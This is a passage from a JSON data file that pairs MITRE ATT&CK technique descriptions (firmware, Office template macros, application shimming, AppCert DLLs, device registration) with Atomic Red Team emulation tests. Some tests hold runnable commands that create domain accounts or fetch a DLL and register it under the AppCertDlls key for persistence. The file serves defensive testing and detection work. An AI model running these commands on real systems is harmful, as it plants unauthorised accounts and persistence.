- "description": "Password of the user to create",
- "type": "string",
- "default": "T1136_pass123!"
- }
- },
- "executor": {
- "command": "net user \"#{username}\" \"#{password}\" /add /domain\n",
- "cleanup_command": "net user \"#{username}\" >nul 2>&1 /del /domain\n",
- "name": "command_prompt",
- "elevation_required": false
- }
- },
- {
- "name": "Create a new Domain Account using PowerShell",
- "auto_generated_guid": "5a3497a4-1568-4663-b12a-d4a5ed70c7d7",
- "description": "Creates a new Domain User using the credentials of the Current User\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "username": {
- "description": "Name of the Account to be created",
- "type": "string",
- "default": "T1136.002_Admin"
- },
- "password": {
- "description": "Password of the Account to be created",
- "type": "string",
- "default": "T1136_pass123!"
- }
- },
- "executor": {
- "command": "$SamAccountName = '#{username}'\n$AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Force\nAdd-Type -AssemblyName System.DirectoryServices.AccountManagement\n$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)\n$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context)\n$User.SamAccountName = $SamAccountName\n$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)\n$User.SetPassword($TempCred.GetNetworkCredential().Password)\n$User.Enabled = $True\n$User.PasswordNotRequired = $False\n$User.DisplayName = $SamAccountName\n$User.Save()\n$User\n",
- "cleanup_command": "cmd /c \"net user #{username} /del >nul 2>&1\"\n",
- "name": "powershell",
- "elevation_required": false
- }
- }
- ]
- },
- "T1542.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--791481f8-e96a-41be-b089-a088763083d4",
- "type": "attack-pattern",
- "created": "2019-12-19T20:21:21.669Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1542.002",
- "url": "https://attack.mitre.org/techniques/T1542/002"
- },
- {
- "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.",
- "source_name": "SanDisk SMART"
- },
- {
- "url": "https://www.smartmontools.org/",
- "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.",
- "source_name": "SmartMontools"
- },
- {
- "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html",
- "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.",
- "source_name": "ITWorld Hard Disk Health Dec 2014"
- }
- ],
- "modified": "2022-04-01T20:43:55.632Z",
- "name": "Component Firmware",
- "description": "Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Firmware: Firmware Modification",
- "Process: OS API Execution",
- "Driver: Driver Metadata"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Host intrusion prevention systems",
- "File monitoring"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM"
- ],
- "x_mitre_system_requirements": [
- "Ability to update component device firmware from the host operating system."
- ]
- },
- "atomic_tests": []
- },
- "T1137.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21",
- "type": "attack-pattern",
- "created": "2019-11-07T20:29:17.788Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1137.001",
- "url": "https://attack.mitre.org/techniques/T1137/001"
- },
- {
- "url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea",
- "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.",
- "source_name": "Microsoft Change Normal Template"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office",
- "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.",
- "source_name": "MSDN VBA in Office"
- },
- {
- "url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/",
- "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.",
- "source_name": "enigma0x3 normal.dotm"
- },
- {
- "url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/",
- "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.",
- "source_name": "Hexacorn Office Template Macros"
- },
- {
- "source_name": "GlobalDotName Jun 2019",
- "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique",
- "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019."
- },
- {
- "source_name": "CrowdStrike Outlook Forms",
- "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746",
- "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019."
- },
- {
- "source_name": "Outlook Today Home Page",
- "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943",
- "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019."
- }
- ],
- "modified": "2021-08-16T21:27:10.873Z",
- "name": "Office Template Macros",
- "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm
\n\nExcel Personal.xlsb location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB
\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\
, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Creation",
- "Windows Registry: Windows Registry Key Creation",
- "File: File Modification",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1138": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1138",
- "url": "https://attack.mitre.org/techniques/T1138"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf",
- "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
- "source_name": "Black Hat 2015 App Shim"
- }
- ],
- "modified": "2020-11-10T18:29:30.362Z",
- "name": "Application Shimming",
- "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb
\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb
\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom
\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom
\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1546.009": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c",
- "type": "attack-pattern",
- "created": "2020-01-24T14:47:41.795Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.009",
- "url": "https://attack.mitre.org/techniques/T1546/009"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- },
- {
- "url": "https://forum.sysinternals.com/appcertdlls_topic12546.html",
- "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.",
- "source_name": "Sysinternals AppCertDlls Oct 2007"
- }
- ],
- "modified": "2020-11-10T18:29:31.052Z",
- "name": "Event Triggered Execution: AppCert DLLs",
- "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs
Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\
are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess
, CreateProcessAsUser
, CreateProcessWithLoginW
, CreateProcessWithTokenW
, or WinExec
. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: OS API Execution",
- "Module: Module Load",
- "Windows Registry: Windows Registry Key Modification",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1546.009"
- },
- "atomic_tests": [
- {
- "name": "Create registry persistence via AppCert DLL",
- "auto_generated_guid": "a5ad6104-5bab-4c43-b295-b4c44c7c6b05",
- "description": "Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. \nOnce the computer restarted, the DLL will be loaded in multiple processes and write an \n'AtomicTest.txt' file in C:\\Users\\Public\\ to validate that the DLL executed succesfully.\n\nReference: https://skanthak.homepage.t-online.de/appcert.html\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dll_path": {
- "description": "path of dll to use",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1546.009\\bin\\AtomicTest.dll"
- },
- "reboot": {
- "description": "Set value to $true if you want to automatically reboot the machine",
- "type": "string",
- "default": "$false"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "File to copy must exist on disk at specified location (#{dll_path})\n",
- "prereq_command": "if (Test-Path #{dll_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{dll_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll\" -OutFile \"#{dll_path}\"\n"
- }
- ],
- "executor": {
- "command": "Copy-Item #{dll_path} C:\\Users\\Public\\AtomicTest.dll -Force\nreg add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /v \"AtomicTest\" /t REG_EXPAND_SZ /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nif(#{reboot}){Restart-Computer} \n",
- "cleanup_command": "reg delete \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /v \"AtomicTest\" /f\nRemove-Item C:\\Users\\Public\\AtomicTest.dll -Force\nRemove-Item C:\\Users\\Public\\AtomicTest.txt -Force\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1098.005": {
- "technique": {
- "x_mitre_platforms": [
- "Azure AD",
- "Windows",
- "SaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Pawel Partyka, Microsoft 365 Defender",
- "Mike Moran"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215",
- "created": "2022-03-04T18:30:38.989Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1098.005",
- "url": "https://attack.mitre.org/techniques/T1098/005"
- },
- {
- "source_name": "CISA MFA PrintNightmare",
- "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a",
- "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022."
- },
- {
- "source_name": "AADInternals - Conditional Access Bypass",
- "url": "https://o365blog.com/post/mdm",
- "description": "Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional access by faking device compliance. Retrieved March 4, 2022."
- },
- {
- "source_name": "AADInternals - BPRT",
- "url": "https://o365blog.com/post/bprt/",
- "description": "Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022."
- },
- {
- "source_name": "AADInternals - Device Registration",
- "url": "https://o365blog.com/post/devices/",
- "description": "Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD device join. Retrieved March 9, 2022."
- },
- {
- "source_name": "DarkReading FireEye SolarWinds",
- "url": "https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack",
- "description": "Kelly Jackson Higgins. (2021, January 7). FireEye's Mandia: 'Severity-Zero Alert' Led to Discovery of SolarWinds Attack. Retrieved April 18, 2022."
- },
- {
- "source_name": "Microsoft - Device Registration",
- "url": "https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa",
- "description": "Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers\u2019 toolbox for victims without MFA. Retrieved March 4, 2022."
- },
- {
- "source_name": "Microsoft DEV-0537",
- "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/",
- "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)",
- "modified": "2022-04-25T16:26:53.204Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Device Registration",
- "x_mitre_detection": "",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "User Account: User Account Modification",
- "Application Log: Application Log Content",
- "Active Directory: Active Directory Object Creation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1542": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "Network",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e",
- "created": "2019-11-13T14:44:49.439Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1542",
- "url": "https://attack.mitre.org/techniques/T1542"
- },
- {
- "source_name": "ITWorld Hard Disk Health Dec 2014",
- "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html",
- "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018."
- },
- {
- "source_name": "Wikipedia Booting",
- "url": "https://en.wikipedia.org/wiki/Booting",
- "description": "Wikipedia. (n.d.). Booting. Retrieved November 13, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.",
- "modified": "2022-04-19T02:50:42.074Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Pre-OS Boot",
- "x_mitre_detection": "Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.\n\nDisk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Network Traffic: Network Connection Creation",
- "Firmware: Firmware Modification",
- "Driver: Driver Metadata",
- "Drive: Drive Modification",
- "Process: OS API Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Host intrusion prevention systems",
- "File monitoring"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1547.015": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3",
- "type": "attack-pattern",
- "created": "2021-10-05T21:26:15.081Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.015",
- "url": "https://attack.mitre.org/techniques/T1547/015"
- },
- {
- "source_name": "Open Login Items Apple",
- "url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac",
- "description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021."
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html",
- "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
- "source_name": "Adding Login Items"
- },
- {
- "source_name": "SMLoginItemSetEnabled Schroeder 2013",
- "url": "https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/",
- "description": "Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved October 5, 2021."
- },
- {
- "source_name": "Launch Services Apple Developer",
- "url": "https://developer.apple.com/documentation/coreservices/launch_services",
- "description": "Apple. (n.d.). Launch Services. Retrieved October 5, 2021."
- },
- {
- "source_name": "ELC Running at startup",
- "url": "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/",
- "description": "hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021."
- },
- {
- "source_name": "Login Items AE",
- "url": "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788",
- "description": "Apple. (n.d.). Login Items AE. Retrieved October 4, 2021."
- },
- {
- "source_name": "Startup Items Eclectic",
- "url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/",
- "description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021."
- },
- {
- "source_name": "hexed osx.dok analysis 2019",
- "url": "http://www.hexed.in/2019/07/osxdok-analysis.html",
- "description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."
- },
- {
- "source_name": "Add List Remove Login Items Apple Script",
- "url": "https://gist.github.com/kaloprominat/6111584",
- "description": "kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021."
- },
- {
- "url": "https://objective-see.com/blog/blog_0x25.html",
- "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
- "source_name": "objsee mac malware 2017"
- },
- {
- "source_name": "CheckPoint Dok",
- "url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/",
- "description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021."
- },
- {
- "source_name": "objsee netwire backdoor 2019",
- "url": "https://objective-see.com/blog/blog_0x44.html",
- "description": "Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021."
- },
- {
- "source_name": "objsee block blocking login items",
